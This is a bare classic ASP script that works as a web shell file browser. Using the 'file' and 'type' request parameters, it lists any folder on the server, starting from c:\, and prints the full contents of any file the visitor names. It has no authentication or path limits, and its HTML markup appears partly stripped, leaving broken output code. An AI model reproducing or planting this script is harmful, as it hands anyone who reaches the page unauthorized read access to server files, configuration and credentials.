<% file=request("file") tipo=request("type") If file="" then file="c:\" tipo="1" End If %>
<% If tipo="1" then Response.Write("

PATH: " & file & "

") ListFolder(file) End If If tipo="2" then Response.Write("

FILE: " & file & "

") Set oStr = server.CreateObject("Scripting.FileSystemObject") Set oFich = oStr.OpenTextFile(file, 1) Response.Write("
--
") Response.Write(oFich.ReadAll) Response.Write("
--
") End If %> <% sub ListFolder(path) set fs = CreateObject("Scripting.FileSystemObject") set folder = fs.GetFolder(path) Response.Write("
( ) " & ".." & "" & vbCrLf) for each item in folder.SubFolders Response.Write("
( ) " & item.Name & "" & vbCrLf) next for each item in folder.Files Response.Write("
  • " & item.Name & " - " & item.Size & " bytes, " & "
  • " & vbCrLf) next end sub %>